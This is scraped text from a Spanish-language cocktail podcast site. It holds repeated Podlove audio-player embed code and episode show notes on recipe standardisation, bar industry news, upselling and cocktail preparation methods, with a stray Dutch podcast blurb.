document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b9a375"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3732","data":{"title":"ud83dudcc3 ESTANDARIZACIu00d3N de RECETAS y PORCIONES ud83euddea","duration":"00:10:01","link":"https://www.barspeakeasy.com/podcast/estandarizacion-de-recetas-y-porciones/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-1-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep51-1/EP51.m4a","size":"6737533","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3732", "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Qué es la EstandarizaciónEs un término que proviene de la palabra Standard y hace referencia al establecimiento de normas, procedimientos y métodos que deben respetarse.BeneficiosAhorro de tiempoMejor Presentación y ProcesosSimplifica el entrenamiento de los empleados (no necesita tener un especialista de área todos los días)Controlar el rendimiento de la materia primaPuedes medir, diferenciar y hasta controlar la merma y los desperdicios. Links de Interés:Envíanos un mensaje de vozÚnete a la Comunidad de TelegramInvítanos un CóctelDale amor en HiveLinks Mencionados en el Episodio El Pour TestImportancia del Inventario Canal de Twitchhttps://youtu.be/3x2DT4MviLYOtros links de interésNuestro alojador web:  Siteground: https://barspeakeasy.com/hosting  Prueba Canva Pro por 45 días: https://barspeakeasy.

document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-63323222880bd"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3732","data":{"title":"ud83dudcc3 ESTANDARIZACIu00d3N de RECETAS y PORCIONES ud83euddea","duration":null,"link":"https://www.barspeakeasy.com/podcast/estandarizacion-de-recetas-y-porciones/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-1-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep51-1/EP51.m4a","size":"6737533","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3732", "https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Qué es la EstandarizaciónEs un término que proviene de la palabra Standard y hace referencia al establecimiento de normas, procedimientos y métodos que deben respetarse.BeneficiosAhorro de tiempoMejor Presentación y ProcesosSimplifica el entrenamiento de los empleados (no necesita tener un especialista de área todos los días)Controlar el rendimiento de la materia primaPuedes medir, diferenciar y hasta controlar la merma y los desperdicios. Links de Interés:Envíanos un mensaje de vozÚnete a la Comunidad de TelegramInvítanos un CóctelDale amor en HiveLinks Mencionados en el Episodio El Pour TestImportancia del Inventario Canal de Twitchhttps://youtu.be/3x2DT4MviLYOtros links de interésNuestro alojador web:  Siteground: https://barspeakeasy.com/hosting  Prueba Canva Pro por 45 días: https://barspeakeasy.com/canvaproEpisodios Relacionados ¿Te gustaría que te avi...

Deze week in de Businesslab Podcast aflevering 100... #morningrun → Dagelijks ben ik vroeg uit de veren, trek ik mijn loopschoenen aan en ga ik hardlopen. Bij het thuiskomen, ga ik elke dag Live op Facebook om een inzicht of een les te delen over beter ondernemen. Korte samenvatting van de 5 topics deze week. En een dikke

document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2ba2e58"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3629","data":{"title":"ud83eudd43 Noticias y Tendencias de Diciembre ud83dude80","duration":"00:13:48","link":"https://www.barspeakeasy.com/podcast/noticias-y-tendencias-de-diciembre/","poster":"https://www.barspeakeasy.com/wp-content/uploads/Noticias-diciembre-scaled.jpg","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep44-1-44-eleazar__imirsi/EP44.m4a","size":"8950697","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3629", "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Estas son las Noticias de diciembreEste mes conversamos sobre:Entrenamientos de Diageo Raising The Bar12 botelas para 50 cócteles en casaEl Gimlet y sus preparacionesLos 50 mejores bares del mundoUsos del té en la cocteleríaPodcast recomendado: El Backstage de las Mezclas Links Mencionados en el EpisodioEntrenamientos de Diageo Raising The Bar12 botelas para 50 cócteles en casaEl Gimlet y sus preparaciones Los 50 mejores bares del mundoUsos del té en la coctelería Podcast recomendadoGrupo VIPCanal de TwitchComunidad de Telegramhttps://www.youtube.com/watch?v=YlfsFYQKKScOtros links de interésNuestro alojador web:  Siteground: https://barspeakeasy.com/hosting  Prueba Canva Pro por 45 días: https://barspeakeasy.com/canvaproEpisodios Relacionados ¿Te gustaría que te avisemos cuando salga un nuevo episodio?

document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2ba3cad"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3629","data":{"title":"ud83eudd43 Noticias y Tendencias de Diciembre ud83dude80","duration":"00:13:48","link":"https://www.barspeakeasy.com/podcast/noticias-y-tendencias-de-diciembre/","poster":"https://www.barspeakeasy.com/wp-content/uploads/Noticias-diciembre-scaled.jpg","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep44-1-44-eleazar__imirsi/EP44.m4a","size":"8950697","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3629", "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Habilidades BásicasQuien trabaja en la hotelería, bar, restaurante u otra de sus ramificaciones entiende que hay algunas habilidades básicas que debe tener o aprender cómo: Buena memoria, buena presencia, atención al cliente, cultura general, ser discreto, tener ética y moral, ser extrovertido. 7 Habilidades Actuales Idiomas: Ponte como meta aprender un segundo o tercer idioma iniciando con el InglésActitud y Aptitud: De ellas dependerá tu permanencia en tu trabajo.Sostenibilidad: Adopta esta tendencia en tu vida y se portador de ella a otras personas.Manejo de Redes Sociales: Muéstrate en las principales Redes Sociales como el profesional que eres.Emprendimientos: Emprende en paralelo pero sin descuidar lo que haces.Atención y Servicio: Actualiza y mejora la calidad de tu servicio siempre.

document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2ba4b45"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3598","data":{"title":"Cu00d3MO aumentar el TICKET PROMEDIO de VENTA","duration":"00:10:56","link":"https://www.barspeakeasy.com/podcast/como-aumentar-el-ticket-promedio-de-venta/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-3-scaled.jpg","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep42-1/EP42.m4a","size":"11898804","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3598", "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Qué es un Ticket Promedio Es el promedio de venta por persona o por mesa de una noche y se calcula con una fórmula sencilla en la que dividimosel monto de la venta (sin impuestos) entre la cantidad de personas. Se puede calcular por mesa o por noche Qué implica subir el Ticket Promedio Generalemente se usa el Upselling para lograr aumentar el ticket promedio de venta. En este episodio te explico cómo hacerlo de la manera correcta y te doy algunos tips para aplicarlos desde hoy mismo y mejorar tu rentabilidad. Conocer tu producto. Construir confianza y saber recomendar. Saber leer o entender al cliente. Crea experiencia. Práctica y entrenamiento. Fidelizar nuevos clientes. Excelente atención al cliente. Verificar constantemente el precio de venta de los productos. Tener una buena presencia en Internet.

document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2ba5e57"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3451","data":{"title":"Cu00f3mo INFLUYEN los Mu00c9TODOS de ELABORACIu00d3N en los Cu00d3CTELES","duration":"00:13:23","link":"https://www.barspeakeasy.com/podcast/como-influyen-los-metodos-de-elaboracion-en-los-cocteles/","poster":"https://www.barspeakeasy.com/wp-content/uploads/IG-Metodos-de-elaboracion-3000-x-3000-px-scaled.jpg","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/metodoelab/MetodoElab.m4a","size":"8500122","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3451", "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Métodos de ElaboraciónConstruidoAgitado / ShakeRefrescado / StirrEscanciado / TrhowingRemovido SwizzleLicuadoEfectos de estos Métodos en los CóctelesOxigenaciónMezcla / HomogenizaciónDiluciónTemperaturaLinks Mencionados en el Episodiohttps://t.me/VIPComunity_bothttps://www.twitch.tv/mezclandoexperienciashttps://barspeakeasy.com/comunidadhttps://youtu.be/TmwC-hMnB98Otros links de interésLos equipos que usamos:  Nikon D3300 = https://amzn.to/3g3BI54   Lente 50mm 1.8 = https://amzn.to/3fYmlek  Microfono portatil = https://amzn.to/3p7xXQm  Luz portatil = https://amzn.to/3g0JYD5  Microfonos para el Podcast = https://amzn.to/34IhskdNuestro alojador web:  Siteground: https://barspeakeasy.com/hosting  Prueba Canva Pro por 45 días: https://barspeakeasy.

document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2ba6bbd"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3392","data":{"title":"Noticias y Tendencias de la Industria: noviembre","duration":"00:09:00","link":"https://www.barspeakeasy.com/podcast/noticias-y-tendencias-de-la-industria-noviembre/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-2.jpg","audio":[{"mimeType":"audio/x-m4a","url":"https://ia601400.us.archive.org/7/items/ep39-1/EP39.m4a","size":"5730416","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3392", "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Como cada mes hoy vamos a estar hablando sobre las nuevas tendencias de la industria de alimentos y bebidas.Nuevos lanzamientos de productos, nuevas tendencias para bartenders y todo lo que necesitas para estar al día.Diageo abrirá destilería en ChinaSmirnoff lanza Vodka de Mango y MaracuyáJhonnie Walker estrena Whisky de CentenoPróximos eventos en noviembreUna mezcla muy consumida en México esta empezando a ser usada en los bares de USA.Links Mencionados en el EpisodioLos expertos en whisky hablan sobre construcción de marca: https://us02web.zoom.us/webinar/register/WN_TyJs3ANaR-ib9xrpOFgMWQ Los líderes de las bebidas espirituosas discuten los desafíos de la cadena de suministro: https://us02web.zoom.us/webinar/register/WN_uwhs-M2uRC2oz1LsSXSb4whttps://www.twitch.tv/mezclandoexperienciashttps://barspeakeasy.com/comunidadhttps://youtu.

document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2ba7f8f"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3363","data":{"title":"Noticias y Tendencias de la Industria: octubre","duration":"00:07:48","link":"https://www.barspeakeasy.com/podcast/noticias-y-tendencias-de-la-industria-octubre/","poster":"https://www.barspeakeasy.com/wp-content/uploads/liviano.jpg","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep38-1/EP38.m4a","size":"6894705","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3363", "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Noticias IndustriaJack Daniels lanza (después de 100 años) el primer whisky con edad en su etiqueta. Ron Santa Teresa celebra su aniversario número 225. Macallan presenta un Single Malt inspirado en el chocolateUna encuesta asegura que el consumo de bebidas sin alcohol o con bajo contenido alcohólico aumente un 31%.Links Mencionados en el Episodiohttps://barencasa.ml https://www.twitch.tv/mezclandoexperienciashttps://barspeakeasy.com/comunidadhttps://youtu.be/_C43D4UWJJgOtros links de interésLos equipos que usamos:Nikon D3300 = https://amzn.to/3g3BI54Lente 50mm 1.8 = https://amzn.to/3fYmlekMicrofono portatil = https://amzn.to/3p7xXQmLuz portatil = https://amzn.to/3g0JYD5Microfonos para el Podcast = https://amzn.to/34IhskdNuestro alojador web:Siteground: https://barspeakeasy.com/hosting  Prueba Canva Pro por 45 días: https://barspeakeasy.

